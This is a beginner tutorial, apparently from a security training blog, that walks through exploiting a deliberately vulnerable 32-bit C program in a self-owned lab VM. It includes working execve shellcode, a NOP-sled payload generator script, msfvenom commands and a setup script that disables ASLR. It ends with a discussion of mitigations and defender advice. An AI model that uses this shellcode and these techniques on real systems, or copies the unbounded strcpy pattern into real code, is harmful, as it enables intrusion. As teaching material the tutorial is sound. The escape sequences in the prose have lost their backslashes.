You are currently viewing Buffer Overflow for Beginners: Your First Stack Smash in a Safe Lab

Buffer Overflow for Beginners: Your First Stack Smash in a Safe Lab

📋 Key Takeaways
  • Classic stack smashing stopped working by default around 2005–2010 thanks to NX, ASLR, and stack canaries.
  • The buffer is 64 bytes, so let's throw 200 bytes at it
  • Metasploit's pattern tools solve this precisely.
  • Replace bytes 77–80 with four recognizable bytes — xefxbexadxde (0xDEADBEEF when read little-endian)
9 min read · 1,663 words
Educational & Ethical Use Only — This article is provided for educational and ethical cybersecurity research purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Always follow responsible disclosure and the laws applicable to you. Mitigations are included so engineers can harden real systems.
🗺️ ArchitectureStack Smash Lab: Exploit Flow
🧑‍💻Attacker InputPython-generated payload
argv string
📋strcpy()No bounds check
200 bytes
📦Stack Buffer[64]Overflow at offset 76
overwrites
🎯Saved EIP0xdeadbeef control
ret to
🐚NOP Sled + ShellcodeExecutes /bin/sh
defended by
🛡️ASLR/Canary/NXModern mitigations

Lab-only exploit flow on owned VM; mitigations block this on modern systems.

Security

🔎 Last updated · Editorial policy · Report an error

TL;DR: A stack buffer overflow happens when a program copies more data into a fixed-size stack buffer than the buffer can hold, letting you overwrite the saved return address and redirect execution. In this tutorial you’ll exploit a deliberately vulnerable 32-bit Linux program in your own VirtualBox lab — crash it, find the exact offset, confirm EIP control, and land a shell using a NOP sled and shellcode — then look at the modern mitigations (ASLR, stack canaries, NX/DEP) that make this attack largely obsolete on modern systems.

Authorization note: everything in this article targets a virtual machine that you own, on your own hardware, running code you wrote yourself. Exploiting software on systems you do not own is a crime in most jurisdictions. Keep it in the lab.

Why Learn This “Dead” Technique?

Classic stack smashing stopped working by default around 2005–2010 thanks to NX, ASLR, and stack canaries. So why learn it? Because the mental model — memory layout, register control, offsets, bad characters — underpins every modern memory-corruption topic: ROP, heap exploitation, browser pwn, and vulnerability research. It’s also a certified-ethcial-hacker (CEH) exam topic, and it’s genuinely fun to get your first shell.

Lab Setup

You’ll need:

  • VirtualBox (free) on your host machine
  • A 32-bit Kali Linux VM (or any Debian-based 32-bit guest). 32-bit matters: 64-bit calling conventions and stack alignment make first exploits harder.
  • Basic comfort with GDB. We’ll install gdb-peda for friendly output.
sudo apt update
sudo apt install -y gdb git gcc-multilib
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Disable ASLR in the guest for this exercise (we’ll re-enable the protections discussion later):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space   # should print 0

The Vulnerable Program

Create vuln.c:

#include <string.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[64];
    strcpy(buffer, argv[1]);   // no bounds check!
    printf("Received: %sn", buffer);
    return 0;
}

Compile it with every modern protection disabled — this simulates software from the era when these bugs were everywhere:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
checksec --file=vuln

Expected output:

RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x08048000)

Perfect — a 2005-style target. Make sure it runs:

./vuln "hello"
Received: hello

Step 1: Crash It

The buffer is 64 bytes, so let’s throw 200 bytes at it:

./vuln $(python3 -c "print('A' * 200)")

You should see:

Received: AAAA...AAAA
Segmentation fault (core dumped)

The crash happens because the strcpy wrote past the 64-byte buffer, over the saved frame pointer, and over the saved return address on the stack. When main tried to ret, it jumped to 0x41414141 (“AAAA”) — unmapped memory.

Confirm with GDB:

gdb ./vuln
(gdb) run $(python3 -c "print('A' * 200)")

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

EIP is literally 0x41414141. We control the instruction pointer — now we just need to know which bytes of our input land there.

Step 2: Find the Offset

Metasploit’s pattern tools solve this precisely. On Kali:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

Output (truncated):

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3...

Feed that unique pattern to the program under GDB:

(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

GDB crashes with:

0x39614138 in ?? ()   # "8Aa9" in ASCII

Now ask pattern_offset which bytes produced that value:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39614138

Output:

[*] Exact match at offset 76

Offset = 76. That means 76 bytes fill the buffer and padding, and bytes 77–80 overwrite the saved return address.

Step 3: Confirm EIP Control

Replace bytes 77–80 with four recognizable bytes — xefxbexadxde (0xDEADBEEF when read little-endian):

./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'xefxbexadxde' + b'C'*50)" 2>/dev/null)

Or verify cleanly in GDB (note: bash can’t pass NUL-free raw bytes via arguments easily; Python is simpler):

python3 -c "print('A'*76 + 'xefxbexadxde' + 'C'*50)" > payload.bin
gdb ./vuln
(gdb) run "$(cat payload.bin)"

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

EIP = 0xdeadbeef. Total control of execution. This is the money shot of your first exploit.

Step 4: Bad Character Analysis

Before injecting shellcode, you must know which bytes break delivery. Our payload travels through argv, so:

  • x00 (NUL) terminates the argument string — bad.
  • Shell metacharacters like x20 (space) will split the argument if unquoted — bad in this delivery path.
  • x0a (newline) and x0d (carriage return) are classic bad bytes over network or line-based input.

The systematic method: send every byte x01 through xff in your payload, then dump the stack in GDB and see where the sequence gets truncated or mangled. With peda:

(gdb) run "$(python3 -c "print('A'*76 + 'xefxbexadxde' + ''.join(chr(i) for i in range(1,256)))")"
(gdb) x/300xb $esp

Find where your byte list continues cleanly and where it stops. Any byte that truncates the sequence goes on your bad-char list, and your shellcode encoder must avoid it (e.g., msfvenom -b 'x00x20'). For this lab, remember: x00 and x20 are bad.

Step 5: NOP Sled + Shellcode

Our plan:

  1. Generate shellcode that spawns /bin/sh (no NUL bytes).
  2. Prepend a “sled” of x90 (NOP) instructions — hundreds of them.
  3. Point EIP anywhere in the sled; the CPU slides down the NOPs into the shellcode.

Generate shellcode with msfvenom, excluding bad chars:

msfvenom -p linux/x86/exec CMD=/bin/sh -b 'x00x20' -f python

Example output:

buf =  b""
buf += b"xdaxd7xbfx48x88x2ex79xd9x74x24xf4x5ax29"
buf += b"xc9xb1x0cx31x7ax17x03x7ax17x83xc4x35"
... (roughly 40-70 bytes)

The stack layout we’re building (76 bytes of filler + return address pointing into ~200 NOPs + shellcode):

[ 76 bytes 'A' ] [ EIP -> 0xbffff2xx ] [ 200 x x90 ] [ shellcode ]

Build the exploit with Python:

python3 - <<'EOF' > exploit.bin
import sys
shellcode = ( b"xdaxd7xbfx48x88x2ex79xd9x74x24xf4x5ax29"
  b"xc9xb1x0cx31x7ax17x03x7ax17x83xc4x35"  # replace with YOUR msfvenom output
)
nops = b"x90" * 200
sys.stdout.buffer.write(b"A"*76 + b"xf0xf1xffxbf" + nops + shellcode)
EOF

For the return address, you need a stack address near your NOP sled. In GDB with peda, run a test payload and inspect:

(gdb) run "$(cat exploit.bin)"
(gdb) x/40x $esp

Because ASLR is off, stack addresses are stable — but GDB’s environment shifts addresses slightly vs. running outside GDB. Two workarounds:

  • Test directly in GDB and accept the address you find there, or
  • Point EIP at the middle of a large NOP sled so the ±100-byte drift doesn’t matter.

Once your return address lands inside the sled (adjust xbfxf0xf1xff to your observed address, little-endian), the payload outside GDB gives you a shell:

./vuln "$(cat exploit.bin)"
Received: ...
$ whoami
kali
$ id
uid=1000(kali) gid=1000(kali)

You popped a shell. From crash → EIP control → code execution in five steps. If the shell immediately exits, your shellcode likely contains a bad byte or your return address is just outside the sled — widen the NOPs to 400 and retry.

Why This Doesn’t Work Anymore: The Modern Mitigations

The exploit above only worked because we disabled every protection. Here’s what each one does and how it kills a specific step:

MitigationHow it worksWhich step it breaks
NX / DEPMarks the stack non-executable at the CPU page levelMakes the shellcode itself unrunnable — EIP control is useless for direct code injection
Stack canariesGCC inserts a random value (-fstack-protector) before the return address and checks it on returnYour 76-byte overwrite smashes the canary first; the process aborts before ret
ASLRRandomizes stack, heap, and library base addresses on every runYour hard-coded 0xbffff... return address points to random memory
PIEThe binary itself loads at a random addressYou can’t hard-code gadget or function addresses from the binary either

Modern attackers adapted rather than gave up: return-to-libc and ROP chains reuse existing executable code (defeating NX), info leaks defeat ASLR, and canary leaks or format-string bugs defeat canaries. But each technique requires significantly more sophistication than “overwrite EIP with shellcode.”

Compilers and OS defaults changed too:

  • -fstack-protector-strong is default in GCC since ~2016 and Ubuntu since 8.10.
  • Full ASLR is on by default in every mainstream OS.
  • Safe string functions (strncpy, snprintf) and memory-safe languages (Rust, Go) removed the bug class at the source.

See it for yourself — re-enable protections and compile normally:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
gcc -m32 -o vuln_hardened vuln.c
./vuln_hardened $(python3 -c "print('A'*200)")
*** stack smashing detected ***: terminated
Aborted

The canary caught it instantly. Try your exploit against the hardened binary and watch EIP land somewhere random every run thanks to ASLR.

Where This Skill Goes Next

  • Practice targets: Protostar (Exploit Education), picoCTF binary exploitation, HackTheBox retired machines.
  • Next techniques: ret2libc, ROP with ROPgadget, stack alignment on x64, format string bugs.
  • Reading: “Hacking: The Art of Exploitation” (2nd ed.) remains the canonical deep dive.

Defender Takeaways

  • Never use unbounded string functions — strcpy, strcat, sprintf, gets — in C/C++ code; prefer length-checked alternatives or memory-safe languages.
  • Compile with protections on: -fstack-protector-strong, -D_FORTIFY_SOURCE=2, PIE (-pie -fPIE), and full RELRO. Verify with checksec in CI.
  • Ensure OS-level mitigations are enabled: full ASLR (randomize_va_space=2) and NX enforcement on all production hosts.
  • Fix crashes from fuzzing: any segfault from unexpected input is a potential memory-corruption bug — triage inputs that cause crashes in network-facing services as security defects, not just bugs.
  • Audit third-party/native code: modern applications still embed C libraries, parsers, and drivers where these bugs live today.
HMMNM Security
Published by HMMNM Security

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the HMMNM Security team.

Keep going — the structured way
This post is one step. The learning paths chain the next ones for you, with progress tracking and no account needed.
Follow a learning path →
🧰 Lab filesworking files from this lab — copy or download
setup_lab.shbash
#!/bin/bash
# Stack overflow lab setup - run inside a 32-bit Kali/Debian VM you own
set -e

# Tooling
sudo apt update
sudo apt install -y gdb git gcc-multilib metasploit-framework
git clone https://github.com/longld/peda.git ~/peda 2>/dev/null || true
grep -q peda ~/.gdbinit 2>/dev/null || echo "source ~/peda/peda.py" >> ~/.gdbinit

# Disable ASLR for the exercise
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
echo "ASLR = $(cat /proc/sys/kernel/randomize_va_space) (0 is required)"

# Vulnerable target: 64-byte buffer, unchecked strcpy
cat > vuln.c <<'EOF'
#include <string.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[64];
    strcpy(buffer, argv[1]);   /* no bounds check! */
    printf("Received: %s\n", buffer);
    return 0;
}
EOF

# Compile with 2005-era protections disabled
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
checksec --file=vuln || true

# Sanity check
./vuln "hello"
echo "Lab ready. Buffer offset to saved EIP is 76 bytes."

Sets up the 32-bit overflow lab: installs gdb-peda, disables ASLR, builds vulnerable vuln binary

exploit.pypython
#!/usr/bin/env python3
"""
Stack overflow payload generator for the vuln lab (offset 76).
Usage:
  python3 exploit.py test              -> payload.bin with 0xdeadbeef EIP check
  python3 exploit.py pwn [0xADDR]      -> payload.bin with NOP sled + shellcode
Then run:  gdb ./vuln   ->   run "$(cat payload.bin)"
"""
import sys

OFFSET = 76

# Bad chars for this delivery path (argv): \x00 terminates arg, \x20 splits it
BAD = (0x00, 0x20)

# 23-byte linux/x86 execve("/bin/sh") shellcode, no \x00 or \x20 bytes
SHELLCODE = (
    b"\x31\xc0"                # xor eax, eax
    b"\x50"                    # push eax
    b"\x68\x2f\x2f\x73\x68"    # push "//sh"
    b"\x68\x2f\x62\x69\x6e"    # push "/bin"
    b"\x89\xe3"                # mov ebx, esp
    b"\x50"                    # push eax
    b"\x53"                    # push ebx
    b"\x89\xe1"                # mov ecx, esp
    b"\xb0\x0b"                # mov al, 11 (execve)
    b"\xcd\x80"                # int 0x80
)

def check_bad(payload, label):
    for b in payload:
        if b in BAD:
            sys.exit(f"Bad byte \\x{b:02x} found in {label}")

def main():
    mode = sys.argv[1] if len(sys.argv) > 1 else "test"

    if mode == "test":
        payload = b"A" * OFFSET + b"\xef\xbe\xad\xde" + b"C" * 50
        expected = "0xdeadbeef"
    elif mode == "pwn":
        if len(sys.argv) > 2:
            ret = int(sys.argv[2], 16)
        else:
            ret = 0xbffff2a0  # typical disabled-ASLR stack address; adjust via gdb
        sled = b"\x90" * 100
        eip_overwrite = ret.to_bytes(4, "little")
        payload = sled + SHELLCODE + b"A" * (OFFSET - len(sled) - len(SHELLCODE)) + eip_overwrite
        expected = f"0x{ret:08x} (inside sled)"
    else:
        sys.exit("Usage: exploit.py [test|pwn [0xRETADDR]]")

    check_bad(payload, "payload")
    with open("payload.bin", "wb") as f:
        f.write(payload)
    print(f"Wrote payload.bin ({len(payload)} bytes), EIP should land at {expected}")

if __name__ == "__main__":
    main()

Generates payload.bin: 76-byte offset, DEADBEEF test or NOP sled + /bin/sh shellcode

Check your understanding

1. What makes the vulnerable program crash when given 200 bytes of 'A'?

2. Why is a unique pattern used instead of simply counting bytes to find the offset?

3. What does seeing EIP equal 0xdeadbeef after sending 'A'*76 + '\xef\xbe\xad\xde' demonstrate?

4. Which modern mitigation makes return-address overwriting like this largely ineffective today?

Your answers stay in this browser only.

Prabhu Kalyan Samal

Application Security Consultant and founder of Hmmnm. Certified Red Team Operator, Burp Suite Certified Practitioner, eWPTX, CompTIA SecurityX and Azure Security Engineer. Writes hands-on labs and threat analysis on web, cloud and AI-agent security.